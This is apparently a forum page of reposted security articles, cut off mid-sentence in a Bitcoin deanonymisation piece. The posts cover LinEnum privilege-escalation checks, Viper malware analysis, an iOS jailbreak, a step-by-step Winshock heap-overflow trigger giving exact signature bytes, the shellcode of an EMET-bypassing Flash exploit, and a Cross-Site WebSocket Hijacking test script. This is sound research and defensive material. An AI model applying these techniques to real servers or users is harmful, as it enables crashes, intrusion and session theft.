Nytro

[h=1]Detekt - scans your Windows computer for traces of known surveillance spyware [/h] Dump3R on 12:33 PM No Comment Detekt is a free tool that scans your Windows computer for traces of FinFisher and Hacking Team RCS, commercial surveillance spyware that has been identified to be also used to target and monitor human rights defenders and journalists around the world. In recent years we have witnessed a huge growth in the adoption and trade in communication surveillance technologies. Such spyware provides the ability to read personal emails, listen-in skype conversations or even remotely turn on a computers camera and microphone without its owner knowing about it. Some of this software is widely available on the Internet, while some more sophisticated alternatives are made and sold by private companies based in industrialized countries to state law enforcement and intelligence agencies in countries across the world. There is little to no regulation currently in place to safeguard against these technologies being sold or used by repressive governments or others who are likely to use them for serious human rights violations and abuses. Download Detekt Sursa: Detekt - scans your Windows computer for traces of known surveillance spyware | KitPloit - PenTest Tools for your Security Arsenal!

[h=1]LinEnum - Local Linux Enumeration & Privilege Escalation Checks [/h] Dump3R on 6:14 PM No Comment LinEnum will automate many of the checks that I’ve documented in the Local Linux Enumeration & Privilege Escalation Cheatsheet. It’s a very basic shell script that performs over 65 checks, getting anything from kernel information to locating possible escalation points such as potentially useful SUID/GUID files and Sudo/rhost mis-configurations and more. An additional ‘extra’ feature is that the script will also use a provided keyword to search through *.conf and *.log files. Any matches will be displayed along with the full file path and line number on which the keyword was identified. After the scan has completed (please be aware that it make take some time) you’ll be presented with (possibly quite extensive) output, to which any key findings will be highlighted in yellow with everything else documented under the relevant headings. Below is a high-level summary of the checks/tasks performed by LinEnum: Kernel and distribution release details System Information: Hostname Networking details: Current IP Default route details DNS server information [*] User Information: Current user details Last logged on users Llist all users including uid/gid information List root accounts Extract full details for ‘default’ uid’s such as 0, 1000, 1001 etc Attempt to read restricted files i.e. /etc/shadow List current users history files (i.e .bash_history, .nano_history etc.) [*] Privileged access: Determine if /etc/sudoers is accessible Determine if the current user has Sudo access without a password Are known ‘good’ breakout binaries available via Sudo (i.e. nmap, vim etc.) Is root’s home directory accessible List permissions for /home/ [*] Environmental: Display current $PATH [*] Jobs/Tasks: List all cron jobs Locate all world-writable cron jobs Locate cron jobs owned by other users of the system [*] Services: List network connections (TCP & UDP) List running processes Lookup and list process binaries and associated permissions List inetd.conf/xined.conf contents and associated binary file permissions List init.d binary permissions [*] Version Information (of the following): Sudo MYSQL Postgres Apache [*] Default/Weak Credentials: Checks for default/weak Postgres accounts Checks for default root/root access to local MYSQL services [*] Searches: Locate all SUID/GUID files Locate all world-writable SUID/GUID files Locate all SUID/GUID files owned by root Locate ‘interesting’ SUID/GUID files (i.e. nmap, vim etc) List all world-writable files Find/list all accessible *.plan files and display contents Find/list all accesible *.rhosts files and display contents Show NFS server details Locate *.conf and *.log files containing keyword supplied at script runtime List all *.conf files located in /etc Locate mail Some of the above commands are privileged/and or the related task may be nonexistent and will therefore most likely fail. The user shouldn’t be alerted to failed results, just the output from successful commands should be displayed. Download LinEnum Sursa: LinEnum - Local Linux Enumeration & Privilege Escalation Checks | KitPloit - PenTest Tools for your Security Arsenal!

Extract PDF streams and decompress SWF objects Viper is intended to be used to analyze a wide variety of file types. To achieve this, we're working on introducing and expanding modules to dissect as many file formats as possible. In this blog post we'll have a glance over two modules used to parse and manipulate PDF documents and Flash objects. You can view an example use of such modules in the following cast analyzing a CVE-2011-0611 document exploit: As you can see, we first search for all stored PDF documents, we open the first one and retrieve some basic details. At 00:21 we launch the pdf module to retrieve some information ont he structure of the document: viper CVE-2011-0611_2.pdf > pdf id [*] General Info: +---------------------+------------------------+ | Desc | Value | +---------------------+------------------------+ | PDF Header | %PDF-1.7 | | Total Entropy | 5.145172 | | Entropy In Streams | 7.266171 | | Entropy Out Streams | 4.852048 | | Count %% EOF | 5 | | Data After EOF | 0 | | /LastModified | D:20100310101134+08'00 | | /ModDate | D:20100707144530+08'00 | | /CreationDate | D:20100712164212+08'00 | | /CreationDate | D:20110418152020+08'00 | | /LastModified | D:20110418152041+08'00 | +---------------------+------------------------+ [*] Streams & Count: +----------------+-------+ | Name | Count | +----------------+-------+ | obj | 37 | | endobj | 37 | | stream | 24 | | endstream | 24 | | xref | 1 | | trailer | 1 | | startxref | 5 | | /Page | 3 | | /Encrypt | 0 | | /ObjStm | 8 | | /JS | 0 | | /JavaScript | 0 | | /AA | 0 | | /OpenAction | 1 | | /AcroForm | 0 | | /JBIG2Decode | 0 | | /RichMedia | 0 | | /Launch | 0 | | /EmbeddedFile | 0 | | /XFA | 0 | | /Colors > 2^24 | 0 | +----------------+-------+ Nothing particularly revealing here, but we can see at least that there are no JavaScript objects, so that would likely rule out vulnerabilities in Adobe Reader itself. At 00:28 we retrieve the list of streams in the PDF document: viper CVE-2011-0611_2.pdf > pdf streams +----+----+--------+-------+------------------------------------------------------------------------------------------------------+ | # | ID | Offset | Size | Type | +----+----+--------+-------+------------------------------------------------------------------------------------------------------+ | 1 | 28 | 116 | 313 | data | | 2 | 1 | 10702 | 177 | ASCII text, with no line terminators | | 3 | 2 | 10880 | 11480 | Macromedia Flash data (compressed), version 9 | | 4 | 3 | 22361 | 3578 | UTF-8 Unicode text | | 5 | 4 | 25940 | 326 | ASCII text, with very long lines, with no line terminators | | 6 | 5 | 26267 | 243 | data | | 7 | 6 | 26511 | 284 | data | | 8 | 23 | 1072 | 510 | ASCII text | | 9 | 24 | 1583 | 8121 | AIX core file fulldump 32-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\ | | 10 | 25 | 9705 | 61 | ASCII text | | 11 | 26 | 9767 | 706 | data | | 12 | 27 | 10474 | 227 | empty | | 13 | 50 | 463 | 179 | data | | 14 | 2 | 403837 | 111 | ASCII text | | 15 | 25 | 378733 | 305 | data | | 16 | 1 | 1492 | 177 | ASCII text, with no line terminators | | 17 | 2 | 1670 | 3578 | UTF-8 Unicode text | | 18 | 3 | 5249 | 327 | ASCII text, with very long lines, with no line terminators | | 19 | 4 | 5577 | 241 | data | | 20 | 5 | 5819 | 281 | data | | 21 | 22 | 951 | 61 | ASCII text | | 22 | 23 | 1013 | 250 | ASCII text, with no line terminators | | 23 | 24 | 1264 | 227 | empty | | 24 | 35 | 452 | 142 | X11 SNF font data, MSB first | +----+----+--------+-------+------------------------------------------------------------------------------------------------------+ As you can see, there is a compressed Flash object at offset 10702, which in this case is the payload that delivers the exploit to Flash Player instead. We can then open that specific stream using the command pdf streams --open 3. We'll then have a Viper session open on the specific stream which has been dumped and automatically opened: viper 2368a8f55ee78d844896f05f94866b07_3_pdf_stream.bin > info +--------+----------------------------------------------------------------------------------------------------------------------------------+ | Key | Value | +--------+----------------------------------------------------------------------------------------------------------------------------------+ | Name | 2368a8f55ee78d844896f05f94866b07_3_pdf_stream.bin | | Tags | | | Path | /tmp/2368a8f55ee78d844896f05f94866b07_3_pdf_stream.bin | | Size | 11244 | | Type | Macromedia Flash data (compressed), version 9 | | Mime | application/x-shockwave-flash | | MD5 | 7e9e040ee9bd1ab5aeb953a01fd1c689 | | SHA1 | 002865adf42fda4bae04d0a29453c6c87e788989 | | SHA256 | a47020cc3bb129442c6cebd5793098b76f33531ed5312dadc90026f54a78804c | | SHA512 | a8b13ebb99fce3d8746c6c60ab40f245a685d098a3aacacbe7305ed60ab2a3c97f2cbed4138043b90a37c082857bf1c5f5adce4113b73537d864d995db2fdf7f | | SSdeep | 192:9Kb8rzjI44nrHmffVmErxVUbW2gqd2ELLOCbpLpGA9bkLhNUPdqb9sbbFvkRg+KF:9KbC/I446fIE9VnhcDB9yUJvkq+KSYvD | | CRC32 | 63A7555E | +--------+----------------------------------------------------------------------------------------------------------------------------------+ From the info command we can see that we do in fact have a session open on a Flash object, which however is compressed. We can try to decompress and extract the clear SWF Flash object. This is shown at 00:54 of the screen cast: viper 2368a8f55ee78d844896f05f94866b07_3_pdf_stream.bin > swf decompress --dump [*] The opened file appears to be compressed with Zlib [...] [*] Flash object dumped at /tmp/7dc0a1f1e35ea71eaeafec897afa8dfe.swf [*] Session opened on /tmp/7dc0a1f1e35ea71eaeafec897afa8dfe.swf viper 7dc0a1f1e35ea71eaeafec897afa8dfe.swf > Now you can save the decompressed object and further analyze it perhaps by trying to decompile it. This is just a very brief example of the versatility and capability of Viper through the use of two of the modules currently available. Both the PDF and the SWF modules are very primitive and they need a lot of work in order to expand them and provide additional analysis functionality. published on 2014-08-27 10:00:00 by nex Sursa: Viper Blog

Taig iOS 8.1.1 Jailbreak Released By Taimur Asad | November 29th, 2014 New iOS 8.1.1 jailbreak is out! TaiG has released a jailbreak for both iOS 8.1.1 and iOS 8.2 beta running on compatible iPhone, iPad and iPod touch. MuscleNerd of Team Evad3rs took to Twitter to confirm the release. Looks like TaiG just released a jailbreak for 8.1.1 (and 8.0,8.1,8.2beta). Best to wait a few days just in case. We have tested and can confirm that TaiG jailbreak does indeed work. It can jailbreak iOS 8.0-8.1, iOS 8.1.1 and iOS 8.2 beta on the following devices. iPhone 6 iPhone 6 Plus iPhone 5s iPhone 5c iPhone 5 iPhone 4s iPad (2, 3, 4, Air, Air 2, mini 1, mini 2, mini 3) iPod touch 5 TaiG is a Chinese based outfit which was part of first iOS 7 jailbreak from Evad3rs released on Christmas eve last year. TaiG is currently available for Windows only. No word on when or if the Mac release will be available. You can download Taig iOS 8.1.1 jailbreak from Taig.com or directly from here. It is also important to note that Apple is still signing the iOS 8.1 firmware. If you want to jailbreak using Pangu, you can do so by downgrading from 8.1.1 to iOS 8.1 and then using Pangu to jailbreak. We will update this post as more details unfolds on this new jailbreak from TaiG. Stay tuned. Update x1: Our jailbreak tutorial is up: How To Jailbreak iOS 8.1.1 Untethered With Taig [Tutorial] Update x2: Mac user? No problem. While Taig is currently available for Windows only, we have a workaround through which you can use it on your Mac to jailbreak your iOS 8.1.1 devices: How To Jailbreak iOS 8.1.1 On Mac OS X Using Taig For Windows You may also like to check out: Download iOS 8.1.1 Final For iPhone, iPad, iPod touch [Direct Download Links] Jailbreak iOS 8.1.1 With Taig On iPhone 6, 6 Plus, 5s, iPad, More [updated] Jailbreak iOS 8 And iOS 8.1 With Pangu On iPhone 6, 6 Plus, 5s, iPad, More [updated] You can follow us on Twitter, add us to your circle on Google+ or like our Facebook page to keep yourself updated on all the latest from Microsoft, Google, Apple and the web. Sursa: Taig iOS 8.1.1 Jailbreak Released | Redmond Pie

Exploiting MS14-066 / CVE-2014-6321 (aka “Winshock”) Written by:Mike Czumak Written on:November 29, 2014 Comments Add One2 Introduction I think enough time has passed now to provide a little more detail on how to exploit MS14-066 schannel vulnerability (aka “Winshock”). In this post I won’t be providing a complete PoC exploit, but I will delve into the details on exactly how to trigger the heap overflow along with some example modifications to OpenSSL so you can replicate the issue yourself. This vulnerability was announced while I was on vacation so I didn’t have a chance to analyze it right away. Lucky for me, the research team at BeyondTrust posted this concise write-up, keying in on the vulnerable code: Triggering MS14-066 | BeyondTrust. When I first looked at the specifics of the vulnerability, I admittedly discounted it’s severity solely for the fact that it seemed necessary to have some form of mutual certificate-based authentication to trigger — still a big deal but not as widespread as I first imagined (or so I thought). Then, a couple of days later, Malware Tech posted this gem: How MS14-066 (CVE-2014-6321) is More Serious Than First Thought | MalwareTech. Wow…triggering the exploit on web servers even if they were set to ignore certificates definitely renewed my interest. @MalwareTechBlog subsequently released this nice write-up with additional details, but by that time I was already deep into examining the exploit (though it’s still worth a read if you haven’t already): MS14-066 In Depth Analysis | MalwareTech. If you’ve already had a chance to read these sources, please bear with me, because for the sake of completeness, I will be repeating some of the information. First, let’s take a closer look at the vulnerable function… schannel!DecodeSigAndReverse Here is the disassembly for the pertinent portions of the DecodeSigAndReverse function (found in schannel.dll) which is responsible for decoding the encoded certificate signature. Of interest to us are the calls to CryptDecodeObject the the two subsequent calls to memcpy (found in the lower left yellow box), which is what ultimately triggers this vulnerability. I’ll get into more details but first it’s important to note that to trigger the vulnerable memcpy, we need to somehow force the server to verify a client-provided ECC certificate (as indicated by the cmp ebx, 2Fh instruction highlighted below). Most web servers will ignore a submitted client certificate (unless certificate authentication is required). However, as @MalwareTechBlog pointed out, vulnerable IIS servers will actually process a certificate that is forcefully presented regardless of the configured SSL settings. I’ll be demonstrating this vulnerability only for IIS on port 443, though you may be able to replicate similar results for RDP. The Setup The first thing you’ll need to do to trigger this exploit is configure IIS SSL settings (I used a Win 7 box) as follows: Generate a self-signed certificate (using OpenSSL), upload to your Windows box and bind it to your site: Now generate an EC cert/key pair to use on your “attacking” machine. Next you’ll need to download the OpenSSL source. For my test setup I used version 1.0.1j on a Kali box. Since you’re probably going to be modifying and recompiling many times, you may want to use the .configure script to permanently set any desired build variables (such as install location). Once you’ve got your web server configured, your client cert/key generated, and openSSL source downloaded, it’s time to make some modifications, specifically to s3_clnt.c. First, we need to force the sending of our client certificate which can be done as follows: Notice I’ve altered the case statement logic to force a call to ssl3_send_client_certificate. Next you’ll need to force certificate verification, which can be done with the following modification to make a call to ssl3_send_client_verify: Connect a remote kernel debugger to your test IIS box and set a breakpoint on schannel!DecodeSigAndReverse. Then connect via the modified OpenSSL s_client and you should trigger your breakpoint: Once you’ve confirmed you can enter the vulnerable function, it’s time to delve into the details to understand how to exploit it. A Closer Look If you refer back to the disassembly of DecodeSigAndReverse, one of the the initial things to happen is the first of two calls to CryptDecodeObject. This first call sets pvStructInfo to null to determine the size of the buffer needed to hold the decoded signature for proper memory allocation (which is handled by the subsequent call to SPExternalAlloc). The second call to CryptDecodeObject is the one of interest. Testing this with an unmodified EC cert and key pair you should see something similar to the following for pcbStructInfo and pvStructInfo: You can see before the call that the designated size is 50h and the pvStructInfo structure is 0’d out and ready to receive the decoded signature. cbEncoded holds the size of the encoded signature, which in this case is 46h. The encoded signature looks as follows: * Note: in the above pic, ebp+0ch shows the size of the encoded signature (46h) and the memory at location 002dc57b holds the encoded signature. When the second CryptDecodeObject function returns, pvStructInfo now holds the decoded signature: Now we can shift our attention to the two memcpy functions that follow. The first memcpy will copy the number of bytes of the decoded signature designated in [esi] (in this case 20h or 32d) to a designated buffer (Dst). In the screenshot below, you can see that the contents of this buffer after the call to memcpy contain the first 32 bytes of the decoded signature returned by CryptDecodeObject. Similarly, the second memcpy copies the remaining 32 bytes of the decoded signature to the adjacent reserved space in memory (Dst). It’s the second memcpy function that is vulnerable to a heap overflow and will be the focus of our attention. To understand why it’s vulnerable to an overflow condition, we need to see how the destination buffer (Dst) is allocated which actually happens in the CheckClientVerifyMessage(). Notice in the third block below (before the call to DecodeSigAndReverse) is the call to SPExternalAlloc, which reserves the memory (Dst) where our decoded signature will be copied via the two calls to memcpy shown previously. You’ll recall each of those calls to memcpy copied 32 bytes (20h) of the decoded signature to adjacent portions of memory to fill a total of 40h bytes. This 40h bytes is reserved by SPExternalAlloc by taking the total key size (in this case 256 bits), dividing it by 8 (to convert to bytes) and doubling it (256 / 8 = 32 * 2 = 64d or 40 h). The dangerous assumption here is that the decoded signature will always be twice the size of the key. We’re about to see why that’s not true. Modifying The Encoded Signature The first thing we want to do is have some control over the size of the encoded signature represented by cbEncoded. If you refer to the call to CheckClientVerifyMessage(), you’ll notice that cbEncoded is passed as a parameter, which means we need to back up even further to the function DigestCertVerify(). We can see at location 0xXXXX98CE of DigestCertVerify that cbEncoded is located at [esi+1]. It turns out [esi] merely points to the start of the encoded signature structure which looks like this: Notice [esi+1] holds the value of cbEncoded (47h). The bytes that follow make up the encoded signature that will eventually be passed to CrypteDecodeObject() within DecodeSigAndReverse(). Here is a look at that call so you can see they are identical: The structure that holds our encoded signature is defined on MSDN as follows: For the purpose of this demo, I’ll call this structure sig. We’ve identified the total size of sig by the byte located at sig[1]. Structure members r and s are decoded and copied via the two memcpy operations. What’s even more interesting is that two other bytes of sig (which is under our control) dictate the size of r and s used in each memcpy operation. This means we have control over how many bytes are written via each memcpy and can use that to overwrite the reserved heap buffer. In addition, other than a few required byte values, the majority of the encoded signature is irrelevant, meaning we can inject any values we wish. In addition, submitting an invalid encoded signature to CryptDecodeObject doesn’t result in an error. Instead, it simply returns the invalid encoded signature that we passed it and that data is subsequently written to the heap via the vulnerable memcpy functions. This means we can predict the subsequent return values that will be passed to the vulnerable memcpy functions and written via the heap overflow. From my brief testing, I identified the following required values for sig: sig[1] = cbEncoded (total size of sig); my testing indicates that max size is \x81 sig[2] = \x30; required (leave unchanged) sig[3] = (sig[1] -1); max size is \x7f sig[4] = \x02; appears to represent data type that follows sig[5] = size of r or memcpy 1; minimum value is 1 sig[6] = any single byte value such as \x00 sig[7] = \x02; appears to represent data type that follows sig[8] = sig[1] – 7 = \x7a sig[9]…sig[x] = any arbitrary values for heap oveflow Triggering the Exploit So, how can we influence the encoded signature value? Rather than changing the content of the certificate, we can modify the encoded signature directly in OpenSSL via the ssl3_send_client_verify function. A couple things to note about the above modified signature. The first memcpy is represented by the three bytes at psig[2] – psig[4] (\x02\x01\x00). Again, I believe the first byte to represent the data type, the second byte is the size for memcpy, and the third byte is the content (src) to write. A single byte of \x00 will result in the first memcpy writing 32 null bytes to the first half of the reserved 64 bytes. The next 32 bytes as well as up to 90 additional bytes will be consumed by what follows psig[7] and psig[8]. This is what results in the heap overflow. For purposes of illustration, notice I changed the total size of the signature to a much larger value of 15,500. Although CryptDecodeObject limits the size of the total signature it will process (again, my testing indicated the limit is \x81), DecodeSigAndReverse accepts much larger values for the encoded signature (pbEncoded) which means arbitrary data can be written to memory before it’s processed by CryptDecodeObject Note: it appears that DecodeSigAndReverse properly allocates memory for the encoded signature and none of my tests resulted in an overflow condition as a result submitting a large signature; however, being able to write 10,000+ bytes of arbitrary data may come in handy. You can see an example of this below: Following this through to the memcpy functions, the resulting heap overflow looks as follows: Not surprisingly, this overflow results in an Access Violation (yours may vary). One thing to note about this basic demonstration is that the heap overflow may not be triggered immediately nor will the access violation caused by this simple demo be consistent. I found you can typically trigger it at-will by establishing another (valid) connection via an unmodified version of OpenSSL s_client. Here’s a quick 30 second video demonstrating what it looks like on the target machine. As I said earlier, I won’t be providing a full working exploit PoC at this time nor will I be uploading my modified version of OpenSSL. That said, the information in this post should be more than enough to understand how this vulnerability can be exploited (though reliability will be a factor) and you may think of additional methods of exploitation. Regardless, this simple demo is still enough to interrupt IIS services and reboot the target machine so please do not test it against any servers unless you have explicit permission to do so! Conclusion To recap, the second memcpy found in schannel!DecodeSigAndReverse is vulnerable to a heap overflow condition due to the presumption of the decoded signature size (twice the size of the key) made in the calling function CheckClientVerifyMessage. Since we can control (to a degree) the size and content of the memcpy function (via the encoded signature) and CryptDecodeObject leaves the encoded signature input untouched, we can predict the values written in the heap overflow. This can all be triggered via some basic modification to OpenSSL. Hopefully this gave you some additional insight into how this vulnerability can be triggered and exploited, and as always, apply those patches if you haven’t already! Until next time, Mike Sursa: Exploiting MS14-066 / CVE-2014-6321 (aka "Winshock") - Security SiftSecurity Sift

Advanced? E un jeg. Si cica sa cauti dork. Pot sa jur ca e scris de un indian nespalat.

Nu am avut timp sa pregatesc. Si nici idei.

Eram vreo 10 cu tricouri, cred ca eram destul de usor de depistat. Am mai adus 4 azi.

threadid. Ideea e ca astfel vezi care sunt cele mai discutate topicuri. Nu o sa iti dai seama daca ceva e foarte discutat astfel. O idee mai buna ar fi ca daca nu se repeta, sa apara in paranteza numarul de posturi. E usor de facut dar cel putin mie imi place mai mult versiunea curenta.

Addressing CVE-2014-6332 SWF Exploit posted by: Alon Livne on November 26, 2014 2:00 PM Continuing a recent trend in which Internet Explorer vulnerabilities are exploited using Flash, samples of an SWF purportedly used in conjunction with CVE-2014-6332 have appeared in several places. The most famous examples of this trend are the exploits for CVE-2014-0322 and CVE-2014-1776. We have yet to encounter the SWF sample with its original exploit attached, but by looking at the SWF, it is clear that it is constructed to function with several forms of memory corruption, making the vulnerability itself less interesting. That is a great example of why our Advanced Endpoint Protection approach, which focuses on the core techniques used in attacks, works well. It will prevent uses of this SWF framework, regardless of the vulnerability it is used with. The interesting part in this exploit is the Flash component. At first glance at the decompiled ActionScript shown here, it seems fairly straightforward, sharing much of its code with the previously seen exploits: This post will not go into detail regarding the spray mechanisms since they are almost identical to the ones seen in previous exploits, but in short: A 0x18180 element vector is sprayed, each vector 0x3FE bytes in size. A timer routine is started, with the browser vulnerability is triggered via an ExternalInterface call to a JavaScript/VBScript function. Once the timed routine detects that the corruption has occurred by scanning the vector for a longer vector, it stops and continued to the next phase. The following vector is corrupted to span the entire memory and read/write abstracts are defined A pointer from Flash_*.ocx is leaked and its base is determined by scanning backwards. After that, addresses of VirtualAlloc and GetProcAddress are resolved from the import table, for later use in assembling the ROP and shellcode. The ROP chain is triggered by overriding the previously created Sound object’s vtable and calling the toString method, leading to the first ROP gadget. At this point it’s worth mentioning one particular behavior. Prior to the shellcode, after the stack pivot, the original stack address (now in eax) is preserved in esi, and then put back into esp as part of the shellcode’s prologue, enabling the shellcode to run on the original stack. The shellcode The interesting part starts with the shellcode, which seems to be tailor made to bypass Microsoft EMET protections, and possibly other security products as well. The first reference to EMET can be seen when the shellcode sets up its data section (containing mostly hashes of functions to later be resolved): The shellcode then starts off by resolving the address of NtSetContextThread by calling GetProcAddress, the address of which was previously written into the heap spray (pointed to by ecx) by the ActionScript code. The shellcode sets up a CONTEXT structure and calls NtSetContextThread, overriding the debug registers and eliminating EMET’s EAF feature, as per the method demonstrated by Piotr Bania in 2012. Once this is accomplished, the challenges faced by the shellcode are greatly reduced. It then proceeds to resolve the previously entered hashes into functions: It resolves the following functions from kernel32 and ntdll in two separate loops: LoadLibraryA GetProcAddress VirtualAlloc IsBadReadPtr WriteProcessMemory GetModuleHandleA Sleep VirtualProtect CreateThread GetProcessHeap CreateFileA WriteFileA CloseHandle WinExec GetTempPathA SetUnhandledExceptionFilter RtlAllocateHeap Memcpy ZwGetContextThread ZwSetContextThread Once all functions are resolved, it proceeds to read a payload PE that was concatenated to the end of the shellcode by the Flash component. The payload PE itself arrives via a file named “shadow.jpg”, and is marked by the magic value 0xDEADBEEF41414141 and another DWORD containing its overall size. It is copied into memory and then written into a file called “windump.exe” in the Local\Temp directory (retrieved using GetTempPathA). At this point another piece of evasive code is introduced: The shellcode checks if EMET.dll is present in the process. If so it simply calls WinExec normally, and the payload is run. Otherwise, it resets the UnhandledExceptionFilter, saves the current esp value, and calls a wrapper function which first takes control of the last SEH handler (pointed to by the TEB) and jumps into WinExec. Upon returning it will reset esp to its preserved value and exit cleanly. Either way, normal execution is restored after having returned from the corrupted sound object’s toString method. Conclusion This exploit is interesting because it is the first display of an in-the-wild attack targeting machines protected by EMET (specifically, EMET 4.1). Oddly enough, the bypass is unfinished – this exploit would be caught by EMET’s stack pivot check on VirtualAlloc. Disable or bypass this single test – and the exploit will succeed in bypassing EMET 4.1. In fact, a fairly small set of customizations could be made to enable this exploit to bypass EMET 5.1 as well. Albeit half-baked, this exploit shows a significant step toward in-the-wild exploits which bypass EMET, whereas in previous exploits of this nature, exploiters actively avoided machines running EMET by using a since patched information disclosure vulnerability in IE (CVE-2014-7331). Worth noting: Palo Alto Networks Traps stopped this exploit with several layers of redundancy. We will continue to examine these exploits and update as appropriate. Sursa: Addressing CVE-2014-6332 SWF Exploit - Palo Alto Networks BlogPalo Alto Networks Blog

How Cross-Site WebSocket Hijacking could lead to full Session Compromise November 27, 2014 12:16 pm | Leave a Comment | LavaKumar Kuppan WebSockets is an HTML5 feature providing full-duplex communications channel over a single TCP connection. This enables building real-time applications by creating a persistent connection between the browser and the server. The most common use case for Websockets is when adding a chat functionality to a web application. This image below gives an apt pictorial representation for websockets (ref: WebSocket.org -- A WebSocket Community) Recently we performed a security assessment of a fairly complex application with good number of menu options and features. The application was leveraging web-sockets for most of its operations. This effectively meant the the logs were not to be found in most of the http-proxy logs. On visiting the homepage the site loads a static HTML page along with some JavaScript and CSS files. After this, the entire communication shifts to Websockets. A websocket connection is created to the server and this loads all the visible HTML sections of the website. Clicking on a link or submitting a form triggers the page to send several WebSocket messages to the server. The server inturn processes these messages and sends new HTML content through WebSocket messages, which is then displayed in the browser. When websocket messages were captured it was evident that the number of messages were overwhelming. Adding to the fact that there was a short interval keep-alive message exchange after every 1 second. The existing tools were not up to the task. Hence I had to add a Websocket Message Analyzer and WebSocket client to IronWASP to understand this Websocket implementation and then fuzz it. You can read about it here. On testing the app we discovered that it was vulnerable to Cross-Site WebSocket Hijacking (first discussed by christian schneider). I will discuss the impact of this issue first before talking about how to test for it. The test for this is so simple that you can and must do it in the first 10 minutes of testing an application that uses Websockets. It should be understood that Same Origin Policy (SOP) is NOT enforced on websockets via browser (pages loaded over SSL are prevented from making non-SSL WebSocket connections in some browsers). The application we tested relied on http cookies for session validation. The messages sent through WebSocket from the browser did not contain any Session ID or other random parameter. So this means that if an user is already logged in to the vulnerable application from his/her browser and has http://attacker.com open in a different tab then http://attacker.com can try to create a WebSocket connection with the vulnerable application and the valid authenticated Session ID will be sent (by the browser) along with this request. So the WebSocket connection, which is now established by http://attacker.com, will have the same level of access as the WebSocket created from within the vulnerable application. As our entire application was running over websockets, hijacking the WebSocket would be equivalent to hijacking the user’s session. So in essence the impact was equivalent to that of Persistent Cross-Site Scripting. If you thought that this is bad then you would be surprised to hear that in some cases Cross-Site WebSocket Scripting can even lead to remote code execution on the user’s system, like in the case of IPython Notebook. Hopefully by now you are convinced that this is the first check you must perform on an application using WebSockets. Fortunately testing for this is very simple. You would need three pieces of information to perform this check: The URL of the WebSocket connection. This starts with either ws:// or wss:// The Origin header that is used in creating this connection. This will be the Origin of the page that is making the making the WebSocket connection Some messages sent by the browser and the server so we know what a normal connection looks like. The image below shows how you can get the Origin and WebSocket URL values from IronWASP logs. Once you have this information then you can do a check for Cross-Site WebSocket Hijacking in a few different ways. I will explain three simple methods: Via Proxy Tools like Burp It should be noted here that burp has interception and recording feature for WebSockets. ZAP and IronWASP are the only software so far (which I am aware) which has the capability to resend websocket requests. In burp as already stated we cannot repeat the websockets messages however we could still test for it in a limited way by checking if a WebSocket handshake succeeds. To test this we need to identify the websocket upgrade request which occurs over http(s) connection and can be repeated. Below screenshot shows a burp Repeater log showing Request and response for a valid request for websocket connection. To test this flaw all we need to do is to send another request with a modified Origin header. If we received 101 Web Socket Protocol Handshake then it means the WebSocket connection has been established. If the connection is not established then then it means the application is secure as it is rejecting WebSocket connections from external Origins. If the connection is established then we would have to perform further checks to confirm if the application is vulnerable to Cross-Site WebSocket Hijacking. Even if a connection is established the application is only vulnerable when it responds to WebSocket messages like it does for a connection from valid Origin. This is because the developer could have placed the Origin verification logic along with the access control checks. So the connection would still be established but external Origins won’t have access to authenticated data in such cases which is a good thing. ZAP has the ability to resend WebSocket messages but as far I am aware it doesnot allow the tampering of the Origin header. The methods shown below explain how you can perform a more thorough check for CSWSH. Using the Cross-Site WebSocket Hijacking Online Tester Open the application to test in your browser and login to it. After this visit, open http://ironwasp.org/cswsh.html in a different tab, enter the WebSocket URL and hit ‘Connect’. Once the connection is established you must be able to send messages to the server from this page. Send messages that were captured from a valid session and see how the server responds. If the server responds in the same way as it did for the valid session then it most likely is vulnerable to Cross-Site WebSocket Hijacking. Using IronWASP IronWASP allows you to do more then just the basic check but also provides you the scripting capabilities to automated the checks. Using IronWASP’s WebSocket Client When testing with the method described above the Origin that is sent to the server is IronWASP - Iron Web application Advanced Security testing Platform. If you want more flexibility in setting the Origin value then you can make use of IronWASP’s WebSocket Client utility. This let’s you define any Origin value you want and test the WebSocket connection. This could come in handy in situations where the application might allow WebSocket connections from the application’s public Origin and along with connections from Origin values that are either equivalent to localhost or some internal private IP address. This could be to support developers and internal testers of the company. By using IronWASP’s WebSocket client you can try combinations of localhost or private IP addresses to see if it works. If it does then exploiting this issue in real-world scenarios could be a little tricky. For example if the application allows http:/127.0.0.1:8080 as the Origin then this could be exploited if the victim has a local webserver running on port 8080 which has an application with Cross-Site Scripting. If it does then an attacker could first perform an XSS on this locally host application and them from there create a WebSocket connection to the actual target server. Automating the check with IronWASP’s WebSocket API If you are going to check with different combinations of localhost and private IP addresses for the Origin header then it might be easier to automate this check with a custom script. IronWASP gives you the ability to script this in either Python or in Ruby. For example the following script would check every single IP in the private IP address space as a Origin header value to see if it is accepted. import clr clr.AddReference("WebsocketClient.exe") from WebsocketClient import * def check_conn(origin): print "Testing origin - " + origin ws = SyncWebsockClient() ws.Connect("ws://tatgetapp.com/ws", origin, "SessionID=KSDI2923EWE9DJSDS01212") ws.Send("first message to send") msg = ws.Read() ws.Close() if msg == "message that is part of valid session": print "Connection successful!!" return True else: return False def check_nw(): for nws in ["192.168.0.0/16", "172.16.0.0/12", "10.0.0.0/8"]: for ip in Tools.NwToIp(nws): if check_conn("http://" + ip): break check_nw() Posted in: Research Sursa: https://www.notsosecure.com/blog/2014/11/27/how-cross-site-websocket-hijacking-could-lead-to-full-session-compromise/

No, si cati v-ati compilat un kernel?

Bitcoin, virtual money: User's identity can be revealed much easier than thought Date: November 25, 2014 Source: Université du Luxembourg Summary: Bitcoin is the new money: minted and exchanged on the Internet. Faster and cheaper than a bank, the service is attracting attention from all over the world. But a big question remains: are the transactions really anonymous? Several research groups worldwide have shown that it is possible to find out which transactions belong together, even if the client uses different pseudonyms. However it was not clear if it is also possible to reveal the IP address behind each transaction. This has changed: researchers have now demonstrated how this is feasible with only a few computers and about €1500. Bitcoin is the new money: minted and exchanged on the Internet. Faster and cheaper than a bank, the service is attracting attention from all over the world. But a big question remains: are the transactions really anonymous? Several research groups worldwide have shown that it is possible to find out which transactions belong together, even if the client uses different pseudonyms. However it was not clear if it is also possible to reveal the IP address behind each transaction. This has changed: researchers at the University of Luxembourg have now demonstrated how this is feasible with only a few computers and about €1500. "It's hard to predict the future, but some people think that Bitcoin could do to finance what the Internet did to communications," says Prof. Alex Biryukov, who leads digital currency research at the University. "So I think especially for Luxembourg it is important to watch what happens with Bitcoin." The Bitcoin system is not managed by a central authority, but relies on a peer-to-peer network on the Internet. Anyone can join the network as a user or provide computing 